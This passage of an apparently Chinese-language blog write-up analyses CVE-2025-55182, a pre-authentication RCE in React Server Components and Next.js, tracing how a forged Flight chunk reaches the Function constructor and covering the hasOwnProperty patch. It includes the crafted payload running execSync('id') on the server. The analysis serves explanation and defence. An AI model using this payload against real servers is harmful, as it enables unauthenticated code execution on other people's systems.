    status: "resolved_model",
    reason: -1,
    value: '{"then":"$B1337"}',
    _response: {
        _prefix: "throw new Error(require('child_process').execSync('id').toString());",
        _chunks: [],
        _formData: {
            get: Function  // Function 构造函数!
        }
    }
};

步骤 9: 外层 await 触发伪造对象的 then

1
2
3
4
5
6
7
8
9
10
11
// initializeModelChunk 完成后,chunk0.value = fakeChunk
// 但 fakeChunk 也是 thenable(有 then 方法)

// 当处理完成后,会 await fakeChunk
await fakeChunk;

// 这会调用:
fakeChunk.then(resolve, reject);
// 由于 fakeChunk.then === ReactPromise.prototype.then
// 等价于:
ReactPromise.prototype.then.call(fakeChunk, resolve, reject);

步骤 10: 第二次 initializeModelChunk

1
2
3
4
5
6
7
8
9
10
11
12
// ReactPromise.prototype.then 检查 this.status
// fakeChunk.status === "resolved_model"
// 所以再次调用 initializeModelChunk

function initializeModelChunk(chunk) {  // chunk = fakeChunk
    const response = chunk._response;  // 伪造的 _response!
    const json = chunk.value;  // '{"then":"$B1337"}'

    // 解析这个 JSON
    const parsed = parseModel(response, json);
    // 遇到 "$B1337"...
}

步骤 11: $B 处理器触发 RCE

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
// parseModelString 解析 "$B1337"
function parseModelString(response, value) {
    // value = "$B1337"

    if (value[0] === '$' && value[1] === 'B') {
        var id = value.slice(2);  // "1337"

        // 调用 response._formData.get(response._prefix + id)
        // response = fakeChunk._response (伪造的!)
        // response._formData.get = Function
        // response._prefix = "throw new Error(...);"

        return response._formData.get(response._prefix + id);
        // ↓ 等价于:
        return Function("throw new Error(require('child_process').execSync('id').toString());1337");
    }
}

步骤 12: 创建恶意函数

1
2
3
4
5
6
7
8
9
10
// Function 构造函数被调用
const maliciousFunction = Function(
    "throw new Error(require('child_process').execSync('id').toString());1337"
);

// 这创建了一个函数:
function anonymous() {
    throw new Error(require('child_process').execSync('id').toString());
    1337  // 这行语法正确但不会执行
}

步骤 13: 函数被执行 - RCE!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
// parseModel 返回:
const innerResult = {
    then: maliciousFunction  // 函数对象
};

// innerResult 是 thenable(then 是函数)
// 当被 await 时:
await innerResult;

// JavaScript 会调用:
innerResult.then(resolve, reject);
// 等价于:
maliciousFunction(resolve, reject);

// 函数执行!
// require('child_process').execSync('id') 在服务器上运行!
// 命令执行结果通过 throw Error 返回给攻击者

5.5 完整调用栈

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
HTTP POST /
    │
    ▼
handleAction()
    │
    ▼
decodeReplyFromBusboy()
    │
    ▼
getChunk(0) ─────────────────────────────────────────────┐
    │                                                     │
    ▼                                                     │
await chunk0 ← chunk0.then()                             │
    │                                                     │
    ▼                                                     │
ReactPromise.prototype.then()                            │
    │ status === "resolved_model"                        │
    ▼                                                     │
initializeModelChunk(chunk0)                             │
    │                                                     │
    ▼                                                     │
parseModel('{"then":"$1:__proto__:then",...}')          │
    │                                                     │
    ├──→ 解析 "$1:__proto__:then"                        │
    │      │                                              │
    │      ▼                                              │
    │    getChunk(1) → 解析 "$@0" → Chunk0 对象 ─────────┘
    │      │
    │      ▼
    │    Chunk0.__proto__ → ReactPromise.prototype
    │      │
    │      ▼
    │    ReactPromise.prototype.then ← 返回
    │
    ├──→ 解析 "$1:constructor:constructor"
    │      │
    │      ▼
    │    Chunk0.constructor.constructor → Function ← 返回
    │
    ▼
chunk0.value = fakeChunk(伪造对象)
    │
    ▼
await fakeChunk ← fakeChunk.then()
    │
    ▼
ReactPromise.prototype.then.call(fakeChunk)
    │ fakeChunk.status === "resolved_model"
    ▼
initializeModelChunk(fakeChunk)
    │ 使用伪造的 fakeChunk._response
    ▼
parseModel('{"then":"$B1337"}')
    │
    ├──→ 解析 "$B1337"
    │      │
    │      ▼
    │    response._formData.get(response._prefix + "1337")
    │      │
    │      ▼
    │    Function("恶意代码;1337")
    │      │
    │      ▼
    │    返回恶意函数
    │
    ▼
result = { then: maliciousFunction }
    │
    ▼
await result ← result.then()
    │
    ▼
maliciousFunction() 被调用
    │
    ▼
require('child_process').execSync('id') 执行
    │
    ▼
RCE 成功!命令在服务器执行!

六、为什么是 Pre-auth 漏洞

6.1 Next.js Server Action 处理流程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
┌─────────────────────────────────────────────────────────────────────────┐
│                    Next.js Server Action 处理流程                        │
├─────────────────────────────────────────────────────────────────────────┤
│                                                                          │
│  HTTP 请求进入                                                           │
│       │                                                                  │
│       ▼                                                                  │
│  ┌─────────────────┐                                                    │
│  │ 检查 Next-Action│ ← Header 存在即进入 Action 处理                    │
│  │ Header 是否存在 │                                                    │
│  └────────┬────────┘                                                    │
│           │                                                              │
│           ▼                                                              │
│  ┌─────────────────┐                                                    │
│  │ 反序列化请求体   │ ← ⚠️ 漏洞在此触发!                               │
│  │ (Flight Protocol)│                                                   │
│  └────────┬────────┘                                                    │
│           │                                                              │
│           ▼                                                              │
│  ┌─────────────────┐                                                    │
│  │ 验证 Action ID  │ ← 永远不会执行到                                   │
│  │ (40字符哈希)    │                                                    │
│  └────────┬────────┘                                                    │
│           │                                                              │
│           ▼                                                              │
│  ┌─────────────────┐                                                    │
│  │ 执行 Server     │ ← 永远不会执行到                                   │
│  │ Function        │                                                    │
│  └─────────────────┘                                                    │
│                                                                          │
└─────────────────────────────────────────────────────────────────────────┘

6.2 代码证明

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
// next/dist/server/app-render/action-handler.js (简化)

async function handleAction(req, res) {
    const actionId = req.headers['next-action'];

    // 第一步: 解析 multipart 数据(如果是 multipart 请求)
    if (contentType?.includes('multipart/form-data')) {
        const busboy = Busboy({ headers: req.headers });

        // 收集表单数据...

        // ⚠️ 关键: 这里调用 Flight 协议反序列化
        // 漏洞在这一步触发,RCE 在这里发生
        const boundActionArguments = await decodeReplyFromBusboy(
            body,
            webNextRequest.headers,
            temporaryReferences
        );

        // 以下代码永远不会执行,因为上面已经 RCE 或抛出异常
    }

    // 第二步: 验证 Action ID
    const action = await getActionFromId(actionId);
    if (!action) {
        throw new ActionNotFoundError();  // 永远不会到达
    }

    // 第三步: 执行 Action
    return await action.apply(null, boundActionArguments);  // 永远不会到达
}

七、漏洞修复分析

7.1 官方补丁

React 团队在多处添加了 hasOwnProperty 检查:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
// packages/react-server-dom-webpack/src/ReactFlightServerReference.js

function requireModule(metadata) {
    var moduleExports = __webpack_require__(metadata[ID]);

-   return moduleExports[metadata[NAME]];
+   if (hasOwnProperty.call(moduleExports, metadata[NAME])) {
+       return moduleExports[metadata[NAME]];
+   }
+   return undefined;
}

// 类似的修复应用于属性访问的其他位置
function getProperty(obj, key) {
-   return obj[key];
+   if (hasOwnProperty.call(obj, key)) {
+       return obj[key];
+   }
+   return undefined;
}

7.2 修复原理

1
2
3
4
5
6
7
8
9
10
11
12
const obj = { name: "test" };

// 修复前(存在漏洞):
obj["__proto__"]                    // → Object.prototype ← 可访问!
obj["constructor"]                  // → Object ← 可访问!

// 修复后:
if (hasOwnProperty.call(obj, "__proto__")) {
    return obj["__proto__"];
}
// hasOwnProperty 返回 false,不会访问原型链
// 返回 undefined,攻击链断裂

7.3 为什么 hasOwnProperty 可以防御

属性 obj[key] hasOwnProperty.call(obj, key) 来源
name "test" true 自身属性
__proto__ Object.prototype false 继承
constructor Object false 继承
toString [Function] false 继承

hasOwnProperty 只返回 true 对于对象自身定义的属性,不包括从原型链继承的属性。


八、总结

8.1 漏洞概述

CVE-2025-55182 是一个影响 React Server Components 和 Next.js 的严重远程代码执行漏洞。

8.2 关键技术点

方面 详情
根本原因 Flight 协议解析属性时缺少 hasOwnProperty 检查
利用方式 通过 __proto__ 访问原型链,获取 Function 构造函数
触发点 $@ 前缀获取原始 Chunk 对象 + $B 前缀触发函数调用
Pre-auth 漏洞在验证 Action ID 之前触发

8.3 利用链总结

1
2
3
原型链访问 → 获取 Chunk.prototype.then → 构造伪造 Chunk
    → 获取 Function 构造函数 → $B 触发 Function 调用
    → thenable 模式执行函数 → RCE

九、参考资料

  • React Security Advisory: https://github.com/facebook/react/security/advisories
  • Next.js Security Advisory: https://github.com/vercel/next.js/security/advisories
  • React Flight Protocol: https://github.com/facebook/react/tree/main/packages/react-server
  • Server Actions Documentation: https://nextjs.org/docs/app/building-your-application/data-fetching/server-actions-and-mutations
This post is licensed under CC BY 4.0 by the author.